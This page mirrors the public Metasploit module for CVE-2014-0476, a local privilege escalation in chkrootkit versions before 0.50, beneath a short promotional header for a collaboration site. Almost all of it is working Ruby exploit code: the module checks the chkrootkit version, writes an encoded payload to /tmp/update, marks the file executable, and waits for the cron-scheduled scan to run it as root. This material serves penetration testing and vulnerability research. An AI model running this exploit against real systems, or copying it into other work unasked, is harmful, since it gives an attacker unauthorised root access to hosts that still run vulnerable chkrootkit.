Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/local/chkrootkit.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local67# This could also be Excellent, but since it requires8# up to one day to pop a shell, let's set it to Manual instead.9Rank = ManualRanking1011include Msf::Post::File12include Msf::Exploit::FileDropper1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'Chkrootkit Local Privilege Escalation',19'Description' => %q{20Chkrootkit before 0.50 will run any executable file named /tmp/update21as root, allowing a trivial privilege escalation.2223WfsDelay is set to 24h, since this is how often a chkrootkit scan is24scheduled by default.25},26'Author' => [27'Thomas Stangner', # Original exploit28'Julien "jvoisin" Voisin' # Metasploit module29],30'References' => [31['CVE', '2014-0476'],32['OSVDB', '107710'],33['EDB', '33899'],34['BID', '67813'],35['URL', 'https://seclists.org/oss-sec/2014/q2/430']36],37'DisclosureDate' => '2014-06-04',38'License' => MSF_LICENSE,39'Platform' => 'unix',40'Arch' => ARCH_CMD,41'SessionTypes' => ['shell', 'meterpreter'],42'Privileged' => true,43'Stance' => Msf::Exploit::Stance::Passive,44'Targets' => [['Automatic', {}]],45'DefaultTarget' => 0,46'DefaultOptions' => { 'WfsDelay' => 24.hours.seconds.to_i },47'Notes' => {48'Reliability' => [REPEATABLE_SESSION],49'Stability' => [CRASH_SAFE],50'SideEffects' => [ARTIFACTS_ON_DISK]51}52)53)5455register_options([56OptString.new('CHKROOTKIT', [true, 'Path to chkrootkit', '/usr/sbin/chkrootkit'])57])58end5960def check61version = cmd_exec("#{datastore['CHKROOTKIT']} -V 2>&1")6263if version =~ /chkrootkit version 0\.[1-4]/64CheckCode::Appears65else66CheckCode::Safe67end68end6970def exploit71print_warning('Rooting depends on the crontab (this could take a while)')7273write_file('/tmp/update', "#!/bin/sh\n(#{payload.encoded}) &\n")74cmd_exec('chmod +x /tmp/update')75register_file_for_cleanup('/tmp/update')7677print_status('Payload written to /tmp/update')78print_status('Waiting for chkrootkit to run via cron...')79end80end818283